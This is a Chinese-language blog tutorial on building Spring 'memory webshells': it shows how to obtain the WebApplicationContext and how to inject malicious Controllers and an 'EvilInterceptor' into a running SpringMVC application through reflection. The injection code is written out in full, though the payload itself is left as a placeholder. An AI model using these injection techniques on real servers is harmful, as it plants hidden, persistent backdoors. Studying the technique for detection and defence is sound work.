Spring是IOC和AOP的容器框架,SpringMVC则是基于Spring功能的Web框架。Tomcat内存马的注入有Servlet和Filter等,与之对应的Spring内存马是Controller和Interceptor。本文先介绍一点Spring相关的基础概念,然后就是内存马的一般流程:如何获取Context、如何注入组件。
1. Spring相关
a. 相关概念
Spring作为Java框架,核心组件有三个:Core、Context、Bean。Java的事物都叫对象,Bean包装的就是对象,Context是对象的生存环境(也就是Bean关系的集合,这个集合又叫IOC容器),Core则是处理对象间关系的工具。
Bean的创建是典型的工厂模式。所谓工厂模式,可以理解为要生产手机产品,包括生产Huawei、iphone等,现在找到一家工厂,具备生产这两种产品的生产线,根据传入的参数不同,生成不同的产品。也就是说,Bean的创建是由BeanFactory接口来控制的。选用Spring很重要的一个原因是它可以让对象之间的依赖关系用配置文件来管理。配置文件中的<bean>
节点包含Bean的完整定义,对应的是BeanDefinition对象。
Context运行环境保存了各个对象的状态,它的顶级父类是ApplicationContext(继承了BeanFactory,这也说明了Spring容器运行的主体对象是Bean)。ApplicationContext的子类主要包含两个方面:ConfigurableApplicationContext和WebApplicationContext,前者对应Context配置信息的添加修改,后者则是Web环境可以直接访问访问ServletContext。ApplicationContext作为对应的运行环境需要完成的任务包括:创建一个应用环境、利用BeanFactory创建Bean对象、保存对象关系表、捕获一些事件等。
b.开启一个最简单的SpringMVC项目
IDEA新建一个项目,可以参照这个链接https://blog.csdn.net/rrrgy236116/article/details/115550077进行修改。
SpringMVC的运行流程大致为:
用户请求-->DispatcherServlet-->HandlerMapping处理器映射器-->xml/注解处理器-->拦截器-->
DispatcherServlet->HandlerAdapter处理器适配器->
Controller->ModelAndView-->ViewReslover视图解析器-->View
web.xml
文件如下
<web-app id="WebApp_ID" version="2.4"
xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
<display-name>Spring Web MVC Application</display-name>
<servlet>
<servlet-name>HelloWeb</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>HelloWeb</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>/WEB-INF/HelloWeb-servlet.xml</param-value>
</context-param>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
</web-app>
ContextLoaderListener 用来初始化全局唯一的父类Context(一个公用的IOC容器)。DispatcherServlet 的主要作用是处理传入的web请求,根据配置的 URL pattern,将请求分发给正确的 Controller 和 View。DispatcherServlet 初始化完成后,会创建一个子类Context实例(一个独立的 IoC 容器)。
然后根据设置的<servlet-name>HelloWeb</servlet-name>
中的servlet名称,在/WEB-INF/
下放置HelloWeb-servlet.xml
,配置获取context的包名等。
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
http://www.springframework.org/schema/context
http://www.springframework.org/schema/context/spring-context-3.0.xsd
http://www.springframework.org/schema/mvc
http://www.springframework.org/schema/mvc/spring-mvc-4.3.xsd">
<mvc:annotation-driven/>
<context:component-scan base-package="com.mkyong.common.controller" />
<bean
class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<property name="prefix">
<value>/WEB-INF/pages/</value>
</property>
<property name="suffix">
<value>.jsp</value>
</property>
</bean>
</beans>
需要注意<mvc:annotation-driven />
,这个对于后续Controller注册很关键,如果没有添加该标签,在执行context.getBean()
时会报错,异常如下
org.springframework.beans.factory.NoSuchBeanDefinitionException: No qualifying bean of type [org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping] is defined
xsi:schemaLocation
的后两行则是在引入该标签后需要加入的。<mvc:annotation-driven />
是spring3.0之后引入的,官方介绍链接:https://spring.io/blog/2009/12/21/mvc-simplifications-in-spring-3-0
这个标签注册了 HandlerMapping 和 HandlerAdapter 来分发请求到@Controllers
2. 如何获取Context
看过之前的内存马系列文章就会发现,无论是什么类型的内存马,其核心都在于获取容器的Context对象。Tomcat中是StandardContext,Spring中则是WebApplicationContext。
WebApplicationContext接口实现类
LandGrey给出了五种获取Spring的Context的方法(实际获取的都是XmlWebApplicationContext),前两个相对通用性较差。第五个在3.2.x 版本以上才可使用
// 1 ContextLoader类专门负责root application context初始化
// ContextLoader的一个主要方法就是 initWebApplicationContext
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
// 2 spring 5的WebApplicationContextUtils已经没有getWebApplicationContext方法
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
// 3 类似2
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
// 4
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 5
java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
filed.setAccessible(true);
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();
第二种,可以分为三部分。首先说一些知识点。
(1)WebApplicationContext
对象存储—servletContext
WebApplicationContext
对象在Web应用中会以WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE
为键存放在ServletContext的属性列表中,所以可以直接用servletContext
获取属性的方式来获取。
WebApplicationContext wac = (WebApplicationContext)servletContext.getAttribute(WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE);
(2)WebApplicationContext
对象获取—WebApplicationContextUtils
工具类WebApplicationContextUtils
提供了两种通过传入ServletContext获取WebApplicationContext的方法。
ApplicationContext ac1 =WebApplicationContextUtils.getRequiredWebApplicationContext(ServletContext sc);
ApplicationContext ac2 =WebApplicationContextUtils.getWebApplicationContext(ServletContext sc);
(3)ServletContext
获取
那么还需要考虑ServletContext如何获取,一般有两种方式,通过request
或者使用ContextLoader
。
// 1
ServletContext servletContext = request.getServletContext();
// 2
ServletContext servletContext = ContextLoader.getCurrentWebApplicationContext().getServletContext();
(4)request
对象获取—RequestContextHolder
假设是通过request
的方式来获取。就要获取到HttpServletRequest
对象,Spring提供了RequestContextHolder
类以在任何地方使用HttpServletRequest
对象。
HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder
.getRequestAttributes()).getRequest();
总结来说,第二种方式就是获取request->获取ServletContext-> WebApplicationContextUtils获取WebApplicationContext
。第三种和第二种类似是获取request->RequestContextUtils获取WebApplicationContext
。第四种则是在RequestContextHolder中不获取request对象了,而是直接从属性中获取org.springframework.web.servlet.DispatcherServlet.CONTEXT
3. Spring的组件注册
Controller
Tomcat内存马是模拟Tomcat对Servlet、Filter或Listener组件的加载过程。其中Servlet包含了访问地址和对应的处理类,在Spring中Controller的作用与之类似。RequestMapping代表了对应的Url访问路径。
@Controller
@RequestMapping("/hello")
public class HelloController {
@RequestMapping(method = RequestMethod.GET)
public String printHello(ModelMap model) {
model.addAttribute("name", "XXX");
return "hello";
}
}
可以看到@RequestMapping
注解中的信息包括:路径"/hello"
、method
等,都放在RequestMappingInfo
中。
@RequestMapping
注册的是RequestMappingHandlerMapping
对象。当接受到request请求时,会在RequestMappingHandlerMapping
中查找对应的handler来处理请求。所有的handler都存在了其父类AbstractHandlerMethodMapping
的mappingRegistry
变量中。
所以如果模拟上述demo中Controller
的注册过程,首先创建一个XXController.class,对应了一个url和HTTP方式GET/POST。放入到RequestMappingInfo
中。然后获取RequestMappingHandlerMapping
对象,调用父类的registerMapping方法,将RequestMappingInfo
、XXController.class
、类中的执行方法
都注册到内存中。
public void registerMapping(T mapping, Object handler, Method method) {
this.mappingRegistry.register(mapping, handler, method);
}
Controller注册的示例代码如下
// 1
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method2 = SpringMemTestController.class.getMethod("printHello");
PatternsRequestCondition url = new PatternsRequestCondition("/hello");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
SpringMemTestController injectToController = new SpringMemTestController();
mappingHandlerMapping.registerMapping(info, injectToController, method2);
LandGrey还给出了另一种Controller注册的方法。这里的一个知识点是Spring 2.5 开始到 Spring 3.1 之前一般使用DefaultAnnotationHandlerMapping
映射器 而Spring 3.1 开始及以后一般开始使用新的RequestMappingHandlerMapping
映射器来支持@Contoller和@RequestMapping注解。所以除了上述的RequestMappingHandlerMapping
还可以通过DefaultAnnotationHandlerMapping
来注册Controller。根据图中可以看到该类的顶层父类是AbstractUrlHandlerMapping
// 2
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
m1.setAccessible(true);
m1.invoke(dh, "/favicon", "dynamicController");
// 3
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
m1.setAccessible(true);
m1.invoke(requestMappingHandlerMapping, "dynamicController");
Interceptor
Spring MVC 中的拦截器(Interceptor)类似于 Servlet 开发中的过滤器 Filter。在实际场景中,有负载均衡、网关等,如果请求的URL路由并不是网关中已有的那么可能就无法到达系统,导致Servlet内存马不生效。那么相对来说,Filter、Listener型内存马更通用。Spring的Controller型内存马类似于Tomcat的Servlet型,而Interceptor则类似Filter。能不能制作Interceptor型内存马?
写一个带有Interceptor,demo如下
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
public class TestInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
System.out.println("preHandle");
try {
... // 恶意代码
}catch (Exception e){}
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
System.out.println("postHandle");
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
System.out.println("afterCompletion");
}
}
修改配置文件xx-servlet.xml
,加入拦截器配置
<mvc:interceptors>
<mvc:interceptor>
<mvc:mapping path="/**"/>
<bean class="com.common.Interceptor.TestInterceptor"></bean>
</mvc:interceptor>
</mvc:interceptors>
Interceptor配置文件中的mapping path是对所有URL进行拦截。这样随便访问一个Controller,就会触发。在这个TestInterceptor
中打一个断点,从Tomcat到该拦截器的调用链如下,从FrameworkServlet开始进入到SpringMVC。
ApplicationFilterChain.internalDoFilter
HttpServlet.service
FrameworkServlet.service
DispatcherServlet.doDispatch
HandlerExecutionChain.applyPreHandle
TestInterceptor.preHandle
问题:Interceptor是怎么被加入的?
跟进看一下DispatcherServlet.doDispatch
protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
HttpServletRequest processedRequest = request;
HandlerExecutionChain mappedHandler = null;
...
try {
try {
...
// 1
// 遍历handlerMappings,从中根据request获取HandlerExecutionChain
mappedHandler = getHandler(processedRequest);
...
// 遍历handlerAdapters,根据request获取对应的HandlerAdapter
HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler());
...
// 2
// HandlerExecutionChain.applyPreHandle
if (!mappedHandler.applyPreHandle(processedRequest, response)) {
return;
}
// Actually invoke the handler. AbstractHandlerMethodAdapter.handle
mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
...
mappedHandler.applyPostHandle(processedRequest, response, mv);
}
...
processDispatchResult(processedRequest, response, mappedHandler, mv, dispatchException);
}
...
}
(1)getHandler
getHandler
的调用链会执行到AbstractHandlerMapping.getHandlerExecutionChain
这步,根据request获取请求的路径,遍历this.adaptedInterceptors
,如果路径和拦截器能够匹配上,就将拦截器加入到HandlerExecutionChain
中。
DispatcherServlet.getHandler
AbstractHandlerMapping.getHandler
AbstractHandlerMapping.getHandlerExecutionChain
protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {
HandlerExecutionChain chain = (handler instanceof HandlerExecutionChain ?
(HandlerExecutionChain) handler : new HandlerExecutionChain(handler));
String lookupPath = this.urlPathHelper.getLookupPathForRequest(request);
for (HandlerInterceptor interceptor : this.adaptedInterceptors) {
if (interceptor instanceof MappedInterceptor) {
MappedInterceptor mappedInterceptor = (MappedInterceptor) interceptor;
if (mappedInterceptor.matches(lookupPath, this.pathMatcher)) {
chain.addInterceptor(mappedInterceptor.getInterceptor());
}
}
else {
chain.addInterceptor(interceptor);
}
}
return chain;
}
那么反向来讲,如果要将制作的恶意Interceptor加入到Spring中,需要先获取AbstractHandlerMapping
中的属性值adaptedInterceptors
。AbstractHandlerMapping的实现类就是上文提到的RequestMappingHandlerMapping
。adaptedInterceptors
获取写法如下
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
adaptedInterceptors.add(XXInterceptor);
问题:Interceptor怎么触发的?
(2)applyPreHandle
循环获取interceptors,执行其preHandlle方法方法。
// HandlerExecutionChain
boolean applyPreHandle(HttpServletRequest request, HttpServletResponse response) throws Exception {
// 获取所有的interceptors
HandlerInterceptor[] interceptors = getInterceptors();
if (!ObjectUtils.isEmpty(interceptors)) {
for (int i = 0; i < interceptors.length; i++) {
HandlerInterceptor interceptor = interceptors[i];
// 执行interceptor的preHandlle方法
if (!interceptor.preHandle(request, response, this.handler)) {
triggerAfterCompletion(request, response, null);
return false;
}
this.interceptorIndex = i;
}
}
return true;
}
所以反过来,要将恶意代码写入到Interceptor的preHandle方法中。
简单贴个注入Interceptor的demo,和之前用jsp加载一样,没有考虑没序列化等场景。根据需要进行更改
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
@Controller
@RequestMapping("/hellooo")
public class Hello2Controller {
@RequestMapping(method = RequestMethod.GET)
public String printWelcome(ModelMap model) throws IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException, ClassNotFoundException, NoSuchFieldException, IOException {
String b64=fileToBase64("/classes/EvilInterceptor.class");
String className = "EvilInterceptor";
byte[] bytes =Base64.getDecoder().decode(b64);
java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
AddInterceptor(className);
model.addAttribute("message", "Add Interceptor to Spring");
return "hello";
}
public static String fileToBase64(String filePath) throws IOException, IllegalAccessException, InstantiationException {
File file = new File(filePath);
FileInputStream inputFile = new FileInputStream(file);
byte[] buffer = new byte[(int) file.length()];
inputFile.read(buffer);
inputFile.close();
byte[] bs = Base64.getEncoder().encode(buffer);
System.out.println(new String(bs));
return new String(bs);
}
public static void AddInterceptor(String className){
java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try{
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
adaptedInterceptors.add(classLoader.loadClass(className).newInstance());
}catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
}
网友评论